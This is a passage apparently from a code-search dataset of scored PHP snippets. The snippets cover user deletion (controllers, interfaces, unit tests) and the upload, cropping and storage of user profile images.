user_delete()\n\t{\n\t\t// Signed in status check\n\t\t$status = $this->home_model->is_signedin();\n\t\tif ($status==0) {\n\t\t\t// Show sign in form\n\t\t\t$this->load->view('id/signin_form');\n\t\t}\n\t\telse {\n\t\t\t$user_privileges = $this->session->userdata(\"privileges\");\n\t\t\tif (strpos($user_privileges, \"002\")!==false || $user_privileges==\"*\") {\n\t\t\t\t// Get username from url\n\t\t\t\t$username = '';\n\t\t\t\tif ($this->uri->segment(3) === FALSE) {\n\t\t\t\t\t$username = $username;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$username = $this->uri->segment(3);\n\t\t\t\t}\n\t\t\t\t// Delete process\n\t\t\t\t$process = $this->backend_model->user_delete($username);\n\t\t\t\tif ($process) {\n\t\t\t\t\tredirect(\"backend_id/user\", \"refresh\");\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tredirect(\"backend_id\", \"refresh\");\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "d9ae6e4b8114ffc1251173d0b989eebe", "score": "0.6545439", "text": "public function delete(User $user);", "title": "" }, { "docid": "0cdf98b5b6c64c56e45b01e481a1abb2", "score": "0.6544088", "text": "public function testIndexPrivate()\n {\n\n $user = $this->logNewUser();\n $this->assertAuthenticatedAs($user);\n $response = $this->get('/profile');\n $response->assertSee('Mi perfil');\n $user->delete();\n\n\n }", "title": "" }, { "docid": "827a57c347f0080679c9274281621f09", "score": "0.65398216", "text": "public function checkIsValidForDelete() {\n\n $errors = false;\n\n if (strlen(trim($this->email)) == 0) {\n $errors= \"Email is mandatory\";\n }else if (strlen(trim($this->email)) > 50 ) {\n $errors= \"Email can't be larger than 50 characters\";\n }else if(!filter_var($this->email, FILTER_VALIDATE_EMAIL)){\n $errors = \"Email format is invalid\";\n }else if(!$this->existsUser()){\n $errors = \"There isn't a user with that email\";\n }\n\n return $errors; \n }", "title": "" }, { "docid": "2abd0432dd3987365b53f580aa5c5116", "score": "0.6538592", "text": "public function deleteUserById(int $id);", "title": "" }, { "docid": "f1ff28556cf9bfc63e1406e157bbfd4b", "score": "0.6536461", "text": "public function deleteUser($id);", "title": "" }, { "docid": "f1ff28556cf9bfc63e1406e157bbfd4b", "score": "0.6536461", "text": "public function deleteUser($id);", "title": "" }, { "docid": "2906647f28ddf39d6da50979a199c83a", "score": "0.6528963", "text": "protected function tearDown(): void\n {\n parent::tearDown();\n $this->user->delete();\n }", "title": "" }, { "docid": "201f8c46bfca6500da28cb55e7788c5f", "score": "0.6518247", "text": "public function test_unauth_delete_someone_else_note()\n {\n\n $user = User::factory()\n ->has(Note::factory()->count(1))\n ->create();\n\n $user2 = User::factory()\n ->has(Note::factory()->count(1))\n ->create();\n\n $note = $user->notes()->first();\n\n\n //sign in as user 2\n Sanctum::actingAs($user2);\n\n //check that the record is there\n $this->assertDatabaseHas('notes', [\n 'title' => $note->title,\n 'note' => $note->note\n ]);\n\n $this->putJson(route('notes.destroy', ['note' => $note->id]))\n ->assertStatus(403);\n\n //check record hasn't changed\n $this->assertDatabaseHas('notes', [\n 'title' => $note->title,\n 'note' => $note->note\n ]);\n }", "title": "" }, { "docid": "f3c4b71d22308d273e855eaf520ba124", "score": "0.6518103", "text": "function _delete_test_users() {\n // Delete test users.\n $rids = array();\n $rids[] = array_search('student', user_roles());\n $rids[] = array_search('teacher', user_roles());\n\n if (!empty($rids)) {\n $query = db_select('users', 'u');\n $query->join('users_roles', 'ur', 'u.uid = ur.uid');\n $query->fields('u', array('uid'))\n ->condition('ur.rid', $rids, 'IN');\n $result = $query->execute();\n\n if ($result) {\n $uids = array();\n foreach ($result as $user) {\n $uids[] = $user->uid;\n }\n if (!empty($uids)) {\n user_delete_multiple($uids);\n drupal_set_message(count($uids) . t(' Test users have been deleted'));\n } else {\n drupal_set_message(t('Teachers or Students users not found.'));\n }\n }\n }\n}", "title": "" }, { "docid": "6ac364beab7bc16034e36ae1dd9d4ae1", "score": "0.649978", "text": "public function test_user_can_see_create_form()\n {\n $user = User::create(['name'=>'testName', 'password' => password_hash('123', 1),'email'=>'[email protected]']);\n $response = $this->actingAs($user)->get('/action'); \n $response->assertSuccessful();\n $response->assertViewIs('action.create');\n $user->delete();\n }", "title": "" }, { "docid": "b1ec663e1f53604319573a2a2a93e56a", "score": "0.6491487", "text": "public function test_deleteProfile() {\n\n }", "title": "" }, { "docid": "575fd49b984e1751b62c8f53040df7ad", "score": "0.6488145", "text": "abstract public function deleteUser( $userId );", "title": "" }, { "docid": "0ea4ee2da57c993861b3f8a33615db23", "score": "0.64867467", "text": "public function testUserRequestsDelete()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "title": "" }, { "docid": "c35a1a9f3d6105be2c7b41e30c634435", "score": "0.6469389", "text": "public function delete(){\n $this->denyAccess();\n //get user id\n $id = $_GET['id']; \n //if successfully delete, back to admin page\n if(UserModel::getInstance()->delete($id)){\n $this->jump(\"Successfully delete!! \",\"?c=User&a=index\");\n }else{\n $this->jump(\"Failed delete!! \",\"?c=User&a=index\");\n }\n }", "title": "" }, { "docid": "61cd20384c76e37e22ba7b546cef6d45", "score": "0.6468581", "text": "public function delete_user()\n {\n $this->db->delete('users', array('id' => 1));\n }", "title": "" }, { "docid": "33a82bf74d6aea2658a594c8de9b48a0", "score": "0.6460664", "text": "public function shouldFindAndDeleteUserUsingValidId(): void {\n\n $userId = 1;\n $expectedNumberOfRowInFindResult = 1;\n $expectedTransactionStatus = true;\n\n // Query Result Mock behaviors\n $this->mockResult->expects($this->once())\n ->method('getNumRows')\n ->will($this->returnValue($expectedNumberOfRowInFindResult));\n\n // Database Connection Mock behaviors\n $this->mockDatabaseConnection->expects($this->exactly(2))\n ->method('query')\n ->will($this->returnValue($this->mockResult));\n\n $this->mockDatabaseConnection->expects($this->once())\n ->method('transStatus')\n ->will($this->returnValue($expectedTransactionStatus));\n\n // Should test ONLY this method\n $isUserFound = $this->userModel->findAndDelete($userId);\n\n $this->assertTrue($isUserFound);\n }", "title": "" }, { "docid": "c36145525b9026ec8e494a9a0ebfba40", "score": "0.64592874", "text": "public function _validate_delete()\n {\n return true;\n }", "title": "" }, { "docid": "84d8069e17061ca0bf610e773b8e773c", "score": "0.6454108", "text": "public function deleteUser(string $identifier);", "title": "" }, { "docid": "c2e4b2eba3de03da268dc51341ce9ab2", "score": "0.64462465", "text": "public function testDelete()\n {\n //delete record\n ClientList::where('email', '[email protected]')->delete();\n users::where('email', '[email protected]')->delete();\n\n\n ClientList::where('email', '[email protected]')->delete();\n users::where('email', '[email protected]')->delete();\n\n ClientList::where('email', '[email protected]')->delete();\n users::where('email', '[email protected]')->delete();\n\n\n //assert records are not in database\n $this->dontSeeInDatabase('clients', ['email' => '[email protected]']);\n $this->dontSeeInDatabase('clients', ['email' => '[email protected]']);\n $this->dontSeeInDatabase('clients', ['email' => '[email protected]']);\n\n }", "title": "" }, { "docid": "f753700efa6e6121bc4ec6e31691962a", "score": "0.6444201", "text": "public function testRoleOwnGotDeleted()\n {\n $this->createDummyUser();\n\n // Delete the role\n $this->call('POST', '/api/role', array(\n 'action' => $this->deleteAction,\n 'id' => 1,\n ));\n\n $this->assertDatabaseHas('users', [\n 'id' => 1,\n 'name' => $this->testName,\n 'username' => $this->testUsername\n ]);\n\n $this->assertDatabaseMissing('user_role', [\n 'user_id' => 1,\n 'role_id' => 1.\n ]);\n }", "title": "" }, { "docid": "938bb8fd566edce930adc77c52a0199d", "score": "0.6434088", "text": "function delete()\r\n\t{\r\n\t\t$this->auth->restrict('users.delete');\r\n\t\t\r\n\t\t$id = $this->input->post('id');\r\n\t\t\r\n\t\tif ( ! $id)\r\n\t\t{\r\n\t\t\tredirect('users/index');\r\n\t\t}\r\n\t\t\r\n\t\t$user = $this->users_model->get($id);\r\n\t\t\r\n\t\tif ($this->users_model->delete($id))\r\n\t\t{\r\n\t\t\t$this->flash->set('success', lang('users_delete_success'), TRUE);\r\n\t\t\t\r\n\t\t\tEvents::trigger('user_delete', array(\r\n\t\t\t\t'u_id' => $id,\r\n\t\t\t\t'user' => $user,\r\n\t\t\t));\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$this->flash->set('error', lang('users_delete_error'), TRUE);\r\n\t\t}\r\n\t\t\r\n\t\tredirect($this->input->post('redirect'));\r\n\t}", "title": "" }, { "docid": "47e21ffd3cbae6fec6d58301668750d4", "score": "0.64285105", "text": "public function testDelete()\n {\n $this->deleteTest(3);\n }", "title": "" }, { "docid": "f5ba14ebf17ca120926522ca23abf3e7", "score": "0.6426539", "text": "public function deleteUser()\n\t{\n\t\t$this->getConnection()\n\t\t\t->createQueryBuilder()\n\t\t\t->delete($this->getConfig()->getUsersTable(), 'u')\n\t\t\t->where('id = :id')\n\t\t\t->setParameter(':id', $this->getConfig()->getId())\n\t\t\t->execute();\n\t}", "title": "" }, { "docid": "c7a9c895fbcf5df58269a227a11b9815", "score": "0.6419549", "text": "public function user_delete(){\n $id = $this->input->get('id');\n \n if($id === null ) {\n $this->response(array(\n 'status' => false,\n 'message' => 'Be sure ID has been entered'\n ), REST_Controller::HTTP_BAD_REQUEST);\n }else{\n $return = $this->User_model->delete($id);\n if($return > 0){\n $message = [\n 'id' => $id,\n 'status' => true,\n 'message' => 'Deleted the resource'\n ];\n $response = REST_Controller::HTTP_OK ;\n }else{\n $message = [\n 'id' => $id,\n 'status' => false,\n 'message' => 'ID not Found, make sure an ID'\n ];\n $response = REST_Controller::HTTP_BAD_REQUEST ; \n }\n \n $this->set_response($message,$response);\n }\n }", "title": "" }, { "docid": "9fca3f186c2c3417e7adcac91aeef045", "score": "0.6416708", "text": "public function deleteUser(int $id)\n {\n }", "title": "" }, { "docid": "9a2b2758cf8c91912809e39f10d3218e", "score": "0.6407832", "text": "public function del()\n {\n\n if ( empty($this->id) || !is_numeric($this->id) ) return false;\n \n $sql = \"DELETE FROM user WHERE id = :id\";\n $stmt = $this->dbh->prepare($sql);\n $stmt->bindValue(':id', $this->id, PDO::PARAM_INT);\n $stmt->execute();\n }", "title": "" }, { "docid": "2435ec91477f75b03bd5e021ff50f7ac", "score": "0.6405728", "text": "public function test_destroy_user_delete_success()\n {\n $this->userMock\n ->shouldReceive('find')\n ->once()\n ->andReturn($this->userMock)\n ->shouldReceive('delete')\n ->once()\n ->andReturn(TRUE);\n\n $expectedResponse = [\n 'code' => 200,\n 'status' => 'OK',\n 'message' => 'success',\n 'response' => true\n ];\n\n $this->json('DELETE', '/api/v1/users/321')\n ->seeJsonEquals($expectedResponse);\n }", "title": "" }, { "docid": "fd48b0bc5545262a6635a9ed414a39b4", "score": "0.6403998", "text": "public function test_user_delete_route_exists()\n { \n $response = $this->delete('v1/users/1');\n $response->assertStatus(404);\n }", "title": "" }, { "docid": "216b71894b8b915dd9c0fc8814da651a", "score": "0.63971925", "text": "public function deleteUser()\n {\n try {\n if (isset($this->body['id_param_url'])) {\n $id = $this->body['id_param_url'];\n } elseif (isset($this->body['iduser'])) {\n $id = $this->body['iduser'];\n } else {\n throw new Exception('Error: missing the \"iduser\" in the body or in the request url', 428);\n }\n\n if (empty($this->header['Authorization'])) {\n http_response_code(401);\n echo json_encode(\n array(\"message\" => 'Token invalid.')\n );\n }\n\n $token = $this->header['Authorization'];\n\n $user = new User($this->db);\n\n $user->verifyUsersToken($token, $id);\n\n $userDeleted = $user->getById($id);\n\n $user->delete($id);\n\n http_response_code(200);\n echo json_encode(\n array(\"message\" => \"Deleted - Success\")\n );\n } catch (\\Exception $e) {\n http_response_code(500);\n echo json_encode(\n array(\"message\" => $e->getMessage())\n );\n }\n }", "title": "" }, { "docid": "46d33ffdc9b26d6aae95eb2871fc9f85", "score": "0.6396772", "text": "public function deleting(User $user)\n {\n }", "title": "" } ]
64ef4cc08bbd9bb2df9a866477182c55
get and save the temp_image of the user
[ { "docid": "be565745d88c9754c73a7da0799f0e57", "score": "0.66140044", "text": "public function upTempImage()\n\t{\n\t\t$temp = \"\";\n\t\tif(\\Input::has(\"temp\")){\n\t\t\t$temp = \\Input::get(\"temp\");\n\t\t}\n\t\tif(\\Input::hasfile('file')){\n\n\t\t\t$image = \\Input::file('file');\n\n\t\t\t/* VALIDAÇÃO */\n\t\t\t$validator = \\Validator::make(\n\t\t\t\t\\Input::all(), \n\t\t\t\tArray(\n\t\t\t\t\t'file' => 'image|max:2000',\n\t\t\t\t)\n\t\t\t);\n\n\t\t\tif ($validator->fails())\n\t\t\t{\n\t\t\t\treturn \\Redirect::back()->withInput()->withErrors($validator);\n\t\t\t}\n\t\t\t/* VALIDAÇÃO */\n\n\t\t\t$fileLocation = base_path(\"storage/uploads/\");\n\t\t\tif(!\\File::exists($fileLocation)){\n\t\t\t\t\\File::makeDirectory($fileLocation);\n\t\t\t}\n\t\t\tif($temp != \"\"){\n\t\t\t\t\\File::delete($fileLocation.$temp);\n\t\t\t}\n\t\t\tdo{\n\t\t\t\t$fileName = \"user_\".rand(10000, 99999);\n\t\t\t\t$fileExtension = $image->getClientOriginalExtension();\n\t\t\t} while(\\File::exists($fileLocation.$fileName.$fileExtension));\n\t\t\t$imageData = getimagesize($image);\n\t\t\t$mimeType = $image->getMimeType();\n\n\t\t\tif($mimeType == \"image/jpeg\"){\n\t\t\t\t$imageToEdit = imagecreatefromjpeg($image->getRealPath());\n\t\t\t\t$val = 100;\n\t\t\t} else {\n\t\t\t\t$imageToEdit = imagecreatefrompng($image->getRealPath());\n\t\t\t\t$val = null;\n\t\t\t}\n\n\t \t// calculate thumbnail size\n\t\t\tif($imageData[0] >= $imageData[1]){\n\t \t\t$new_width = ($imageData[0] * 120) / $imageData[1];\n\t \t\t$new_height = 120;\n\t \t\t$marginTop = 0;\n\t \t\t$marginLeft = ($new_width - 120) / 2;\n\t\t\t} else {\n\t \t\t$new_width = 120;\n\t \t\t$new_height = ($imageData[1] * 120) / $imageData[0];\n\t \t\t$marginTop = ($new_height - 120) / 2;\n\t \t\t$marginLeft = 0;\n\t\t\t}\n\n\t\t\t// create a new temporary image\n\t\t\t$thumb_im_resize = imagecreatetruecolor( $new_width, $new_height );\n\n\t\t\t// copy and resize old image into new image \n\t\t\timagecopyresized( $thumb_im_resize, $imageToEdit, 0, 0, 0, 0, $new_width, $new_height, $imageData[0], $imageData[1]);\n\n\t\t\t// crop the resized image\n\t\t\t$to_crop_array = array('x' =>$marginLeft, 'y' => $marginTop, 'width' => 120, 'height'=> 120);\n\t\t\t$thumb_im_crop = imagecrop($thumb_im_resize, $to_crop_array);\n\n\t\t\tif($val == 100){//jpeg\n\t\t\t\timagejpeg($thumb_im_crop, $image->getRealPath(), $val, 100);\n\t\t\t} else {\n\t\t\t\timagepng($thumb_im_crop, $image->getRealPath(), $val, 100);\n\t\t\t}\n\n\t\t\t$fileVerify = $fileLocation.$fileName;\n\n\t\t\tif($val == null && \\File::exists($fileVerify.\".jpg\")){\n\t\t\t\t\\File::delete($fileVerify.\".jpg\");\n\t\t\t} else if($val == null && \\File::exists($fileVerify.\".jpeg\")){\n\t\t\t\t\\File::delete($fileVerify.\".jpeg\");\n\t\t\t} else if($val == 100 && \\File::exists($fileVerify.\".png\")) {\n\t\t\t\t\\File::delete($fileVerify.\".png\");\n\t\t\t}\n\n\t\t\tif($image->move($fileLocation, $fileName.\".\".$fileExtension)){\n\t\t\t\treturn $fileName.\".\".$fileExtension;\n\t\t\t}\n\t\t}\n\t}", "title": "" } ]
[ { "docid": "8b1dcde1b9363f1e397cea90cd54c89d", "score": "0.6807802", "text": "public function save_photo_temp()\n\t{\n\t\t$obj= new lector();\n\t\t$imagePath=$obj->save_photo_temp();\n\t\techo \"<img width='153px' height='150px' src='\" .($imagePath) . \"' />\";\n\t\t//echo $imagePath;\n\t\techo \"<script>imagePath='\".$imagePath.\"'; </script>\"; \n\t\n\t}", "title": "" }, { "docid": "7a53c1646da3df160e858800c464e488", "score": "0.677649", "text": "public function getUserImage()\n\t{\n\t\treturn $this->user_image;\n\t}", "title": "" }, { "docid": "52734fa2bee601c605590180d35cb48a", "score": "0.6765483", "text": "public function save_image_user()\n {\n\n if (!empty($this->errors)) {\n echo \"there was an error in saving \";\n return false;\n\n }\n\n\n if (empty($this->user_image) || empty($this->tmp_path)) {\n $this->errors[] = \"the file was not available\";\n return false;\n }\n\n //target path\n $target_path = IMAGE_PATH . DS . $this->user_image;\n\n if (file_exists($target_path)) {\n $this->errors[] = \"the file {$this->user_image} already exists\";\n return false;\n }\n //move uploaded file --predifined in php\n if (move_uploaded_file($this->tmp_path, $target_path)) {\n unset($this->tmp_path);\n return true;\n } else {\n $this->errors[] = \"the folder directory probably does not have the right permission\";\n return false;\n }\n\n }", "title": "" }, { "docid": "2c0f9f9f1781e4053049f75ce24820b2", "score": "0.66928536", "text": "public function get_user_image() {\r\n\r\n\t\treturn \"assets/\" . \"img/\" . \"profile/\" . \"default/\" . $this->user_image;\r\n\t}", "title": "" }, { "docid": "875843e4d69f922093ba7c01a498b743", "score": "0.6688723", "text": "function local_avatars_save_image($user_id, $tmp_image_path, $original_filename = false, $type = false){\n\tlocal_avatars_get_plugin()->file_handler->save_image($user_id, $tmp_image_path, $original_filename, $type);\n}", "title": "" }, { "docid": "4a8d1db01e7a98f0aad03a996cb73217", "score": "0.65623593", "text": "public function createTemporaryImage()\n {\n $tmpDir = sys_get_temp_dir();\n $fileName = $tmpDir . DIRECTORY_SEPARATOR . 'image_project_unit_test_' . time() . rand() . '.jpg';\n $gd = imagecreatetruecolor(400, 300);\n imagefill($gd, 50, 50, 1);\n\n imagejpeg($gd, $fileName, 100);\n imagedestroy($gd);\n\n return $fileName;\n }", "title": "" }, { "docid": "4ff4345dc3c2601e0a3d2fd185e3edd4", "score": "0.6505917", "text": "public function takeImage()\n {\n return \"storage/\" . $this->thumbnail;\n }", "title": "" }, { "docid": "4dd9a032401b59783a40015336528c96", "score": "0.6477235", "text": "public function save_image($user_name, $image){\n\n }", "title": "" }, { "docid": "acf4484f36ce8838275efbf9a51457ec", "score": "0.64674354", "text": "public function saveProfileImage()\n {\n (new User())->saveProfileImage();\n return view('user.home.changeimage', ['tmpImg' => '']);\n }", "title": "" }, { "docid": "3de2bc6ccc03cd2f02ba18682bfd9d68", "score": "0.6438264", "text": "public function getUserImage () {\n return \"https://quangvoc8.s3.amazonaws.com/\".$this->user_image;\n }", "title": "" }, { "docid": "a1e99c73644046d275ac199edbb54170", "score": "0.6408577", "text": "public function retrieve_user_photo(){\n\t\tglobal $db;\n\t\t$sql = \"SELECT filename, type FROM \".self::$table_name.\" WHERE \";\n\t\t$sql.= \"user_id = $this->user_id\";\n\t\tif($result = $db->query($sql)){\n\t\t\tif($db->has_rows($result)){\n\t\t\t\t$result_array = $db->fetch_array($result);\n\t\t\t\t$image_name = $result_array['filename'].$result_array['type'];\n\t\t\t\t$image_path = SITE_ROOT.DS.self::$photo_dir.DS.$image_name;\n\t\t\t\tif(file_exists($image_path)){\n\t\t\t\t\t$this->image_name = $image_name;\n\t\t\t\t} else {\n\t\t\t\t\t/* display image of 'Please Upload a Photo' */\n\t\t\t\t\t$this->photo_errors[] = \"Please upload a photo\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "a213d01cbf533e4b89eaadea75de9b9d", "score": "0.6386769", "text": "function change_profile_image($user_id, $file_temp, $file_explode) {\n\t//taking current time, hashed it using mdg5 and then taking legth of 10\n\t$file_path = 'images/profile/' . substr(md5(time()), 0, 10) . '.' . $file_explode;\n\t//moving the file from the temporary place to the path specified\n\tmove_uploaded_file($file_temp, $file_path);\n\t//inserting it the data\n\tmysql_query(\"UPDATE `mock_exam_users` SET `profile_picture` ='\" . mysql_real_escape_string($file_path) . \"' WHERE `user_id` = \" . (int)$user_id);\n}", "title": "" }, { "docid": "71bcd6025c2ac6ce2984ec5d78063551", "score": "0.6321166", "text": "public function getImage()\n {\n if($this->photo_rec){\n return $this->photo_rec;\n } \n return '/' . Yii::$app->params['images_folder'] . '/default-user.png';\n }", "title": "" }, { "docid": "0b909e4374446d3d8c076864d7c30583", "score": "0.6319085", "text": "public static function get_image($user_id);", "title": "" }, { "docid": "8cbc1060151635216cf02a43e46110c9", "score": "0.62551016", "text": "public function get_user_image($user_id) {\n\t\tif (file_exists('uploads/users/'.$user_id.'.jpg'))\n\t\treturn base_url().'uploads/users/'.$user_id.'.jpg';\n\t\telse\n\t\treturn base_url().'uploads/users/placeholder.jpg';\n\t}", "title": "" }, { "docid": "a429fa08f38d1a16fdd5294d16b50039", "score": "0.6252397", "text": "public function get_user_image() {\n\t\tloggedOnly();\n\n\t\t// Pega o usuario logado\n\t\t$user = auth();\n\n\t\t// Busca a imagem\n\t\tif( $user->midia_id ) {\n\t\t\tif( $image = $user->belongsTo( 'midia' ) ) {\n\t\t\t\treturn resolve( $image->path() );\n\t\t\t} return resolve( base_url( 'public/images/empty.jpg' ) );\n\t\t} return resolve( base_url( 'public/images/empty.jpg' ) );\n\t}", "title": "" }, { "docid": "8973d00baaa6379bbc8909df91232c23", "score": "0.6192807", "text": "private function store_fb_profile_pic ($source, $user_id) {\n $temp = tempnam(sys_get_temp_dir(), 'TMP_');\n file_put_contents($temp, file_get_contents($source));\n $upload = new CreateFile([\n 'user_id' => $user_id,\n 'file' => $temp\n ]);\n }", "title": "" }, { "docid": "071501803a29c591d719713284560e8c", "score": "0.6171858", "text": "function hh_save_profile_pic() {\n header('Content-type: application/json');\n error_log(\"Profile Pic Updated\\n\");\n global $current_user;\n if ( !wp_verify_nonce( $_POST['nonce'], \"hh_save_profile_pic_nonce\")) {\n error_log(\"nonce mismatch\\n\");\n exit(\"No naughty business please\");\n }\n\n $x1 = $_POST['x1'];\n $y1 = $_POST['y1'];\n $x2 = $_POST['x2'];\n $y2 = $_POST['y2'];\n $w = $_POST['w'];\n $h = $_POST['h'];\n $cw = $_POST['cw'];\n $ch = $_POST['ch'];\n $upload_dir =wp_upload_dir();\n $oldFile = $_FILES['fileUpload-file']['tmp_name'];\n $newFile = tempnam($upload_dir['path'],'/id_'.$current_user->ID.'_pic_full.').'.jpg';\n $cropped = tempnam($upload_dir['path'],'/id_'.$current_user->ID.'.').'.jpg';\n exec('/usr/local/bin/convert -resize '.$cw.'x'.$ch. ' -format jpg '.$oldFile.' '.$newFile.' 2>&1',$error);\n exec('/usr/local/bin/convert -crop '.$w.'x'.$h.'+'.$x1.'+'.$y1.' -format jpg '.$newFile.' '.$cropped.' 2>&1',$error);\n $meta_value = $upload_dir['url'].'/'.basename($cropped);\n $meta_key = 'profile_pic';\n $old_meta_value = get_user_meta($current_user->ID,$meta_key);\n update_user_meta($current_user->ID,$meta_key,$meta_value);\n wp_update_user( array ( 'ID' => $current_user->ID, $meta_key => $meta_value) ) ;\n $result['post'] = var_export($_POST,true);\n $result['error'] = var_export($error,true);\n $result['type'] = \"success\";\n $result['meta_key'] = $meta_key;\n $result['meta_value'] = $meta_value;\n $result['old_meta_value'] = $old_meta_value;\n $server_meta_value = get_user_meta($current_user->ID,$meta_key);\n $result['server_meta_value'] = $server_meta_value;\n error_log(\"Results\\n\");\n error_log(var_export($result,true));\n json_encode($result);\n echo $result;\n die();\n\n}", "title": "" }, { "docid": "97c091328f2ac6cbf3032d6c060ea104", "score": "0.61430246", "text": "function getprojuserimg($values){\n\tglobal $USER,$DB,$CFG,$OUTPUT;\n\t$uname = $values->firstname.' '.$values->lastname;\n\t$userobject = (object) array('id'=>$values->userid,'auth'=>$values->auth,'username'=>$values->username,\n\t'firstname'=>$values->firstname,'lastname'=>$values->lastname,'picture'=>$values->picture);\t\n\t$userlink = userpicbyobject($userobject);\n\treturn $userlink;\n}", "title": "" }, { "docid": "a3fbbb542d04fd7bdd27f438783976ae", "score": "0.61210847", "text": "public function get_image($username){\n\n }", "title": "" }, { "docid": "77d86644ebfc7f06f043b074b162b53c", "score": "0.61011016", "text": "public function getUserTempImage($fileName)\n\t{\n\t\t$image = base_path(\"storage/uploads/\".$fileName);\n\t\treturn response()->download($image, null,['Chache-Control' => 'no-cache', 'Pragma' => 'no-cache'], 'inline');\n\t}", "title": "" }, { "docid": "56584a9d4f941fce8169d2e1b322d805", "score": "0.6072131", "text": "function storeUploadedFile($tmpFilePath){\r\n \r\n // gets the image type, reads first few bytes of image and returns int that represents jpg or png\r\n $imageTypeInt = exif_imagetype($tmpFilePath);\r\n \r\n // takes int and gets image extension\r\n $extension = image_type_to_extension($imageTypeInt);\r\n \r\n // gets the target directory for upload\r\n $target_dir = \"images/properties/\";\r\n \r\n // generates unique name for file based on microseconds of upload time\r\n // second param makes it more unique adds additional characters on end of returned value\r\n //eg \"/images/properties/8872791982.jpg\"\r\n $newImagePath = $target_dir . uniqid(\"prop\", true) . $extension;\r\n \r\n // takes current image path (in tmp folder) and puts it in new location newImagePath\r\n move_uploaded_file($tmpFilePath, $newImagePath);\r\n \r\n return $newImagePath;\r\n}", "title": "" }, { "docid": "d99a3a3704bbb279efde31212d8e55b4", "score": "0.60636264", "text": "public function saveProfilePicture()\n {\n $this->validateFile();\n\n $config = $this->config('user.upload.profile-picture');\n\n $this->setDefaultResize(data_get($config, 'image.store_resolution'));\n\n $image = $this->encodeImage();\n\n $filename = $this->hashGenerator->extension($this->format)->make();\n\n $filePath = file_path(data_get($config, 'path'), $filename);\n\n Storage::put($filePath, $image);\n\n return $filename;\n }", "title": "" }, { "docid": "cf2e4e4f331cc9dd64e03a92be3f3a40", "score": "0.60529274", "text": "public function image_path_and_placeholder() {\n return empty($this->user_image) ? self::$image_placeholder : self::$upload_directory.DS.$this->user_image;\n }", "title": "" }, { "docid": "949fd913d02869ffd029aedd94935ed1", "score": "0.6051376", "text": "function change_profile_image($user_id, $file_temp, $file_extn) {\r\n\t$file_path = 'image/profile/' . substr(md5(time()), 0, 10) . '.' . $file_extn;\r\n\tmove_uploaded_file($file_temp, $file_path);\r\n\tmysql_query(\"UPDATE `users` SET `profile` = '\" . mysql_real_escape_string($file_path) . \"' WHERE `user_id` = \" . (int)$user_id);\r\n}", "title": "" }, { "docid": "0e778b2c6f1e45bc4aa375446621db3b", "score": "0.60470724", "text": "function saveUserPic($img,$action)\n\t\t{\n\t\t\t//checking that product with order id is present or not\n\t\t\tif($action == 'pro')\n\t\t\t{\n\t\t\t\t//update user profile pic\n\t\t\t\t$update = $this->manageContent->updateValueWhere('user_info', 'profile_image', 'files/pro-image/'.$img, 'user_id', $_SESSION['user_id']);\n\t\t\t}\n\t\t\telseif($action == 'cov')\n\t\t\t{\n\t\t\t\t//update user cover pic\n\t\t\t\t$update = $this->manageContent->updateValueWhere('user_info', 'cover_image', 'files/cov-image/'.$img, 'user_id', $_SESSION['user_id']);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "540b4e35b14693a12f1ae667d49558c3", "score": "0.60429436", "text": "public function upload_image()\n {\n if(isset($_FILES[\"user_up_perfil\"])) \n { \n $extension = explode('.', $_FILES['user_up_perfil']['name']); \n $new_name = rand() . '.' . $extension[1]; \n $destination = './stylus/upload/perfil_user/' . $new_name; \n move_uploaded_file($_FILES['user_up_perfil']['tmp_name'], $destination); \n return $new_name; \n } \n }", "title": "" }, { "docid": "9f382c260cdad5f2a9258d404afc8941", "score": "0.60358715", "text": "function get_picture()\n {\n session::set('binary',$this->iconData);\n session::set('binarytype',\"image/jpeg\");\n return(\"getbin.php\");\n }", "title": "" }, { "docid": "7703e296484a46b9e204791afc0f5362", "score": "0.6034805", "text": "public function image_path_and_placeholder() {\n\t\treturn empty($this->user_image) ? $this->image_placeholder : $this->upload_directory . DS . $this->user_image;\n\n\t}", "title": "" }, { "docid": "70756faa5bb820957511cab45df44255", "score": "0.6034551", "text": "public function temporaryupload() {\n\t\t$output_dir = \".\" . \"/images/temp\";\n\t\tif (! file_exists ( $output_dir )) {\n\t\t\tmkdir ( $output_dir, 0777, true );\n\t\t\tchmod ( $output_dir, 0777 );\n\t\t}\n\t\tif (isset ( $_FILES [\"file\"] )) {\n\t\t\t// if (in_array($_FILES[\"file\"][\"type\"], $allowedFileType) && in_array($extension, $allowedExts)) {\n\t\t\t\n\t\t\tif (( int ) $_FILES [\"file\"] [\"size\"] > (10 * 1000000)) {\n\t\t\t\techo \"exceed_limit_size\";\n\t\t\t} else {\n\t\t\t\tif (( int ) $_FILES [\"file\"] [\"error\"] <= 0) {\n\t\t\t\t\t// $dateNow = date('YmdHis');\n\t\t\t\t\t$fileName = $_FILES [\"file\"] [\"name\"];\n\t\t\t\t\t$tmp_name = $_FILES [\"file\"] [\"tmp_name\"];\n\t\t\t\t\tmove_uploaded_file ( $tmp_name, \"$output_dir/$fileName\" );\n\t\t\t\t\t// echo $this->view->config['url_base'] . Core_Util_Const::PATH_PRODUCT_IMAGE_TEMP . Core_Util_Helper::getIdAdminLogin() . '/' . $fileName;\n\t\t\t\t\techo \"ok\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "608c02aeec5f4e9c25b0ae6c9fa3e600", "score": "0.6029747", "text": "public function saveUserAvatar($avatar) {\n\n $img = file_get_contents($avatar);\n $ava = $this->generateUniqueAvatarName();\n $file = Yii::app()->baseUrl.'images/members/avatars/'.$ava;\n file_put_contents($file, $img);\n\n return $ava;\n }", "title": "" }, { "docid": "106e8d58759c58b8b05938bcf6dd1107", "score": "0.602645", "text": "public function saveUploaded($imgFile, $userId)\r\n\t{\r\n//FB::error(imgFile .'-'. $imgSize .'-'. $userId);\r\n\r\n if (!$imgFile || !$userId)\r\n \treturn false;\r\n\r\n\t\t$path = CHelperProfile::getUserImgDir($userId);\r\n\t\tif (!CHelperFile::createDir($path))//not dublicate, will use for import\r\n\t\t\treturn false;\t\t\t\r\n\t\t\r\n $filename = time(); 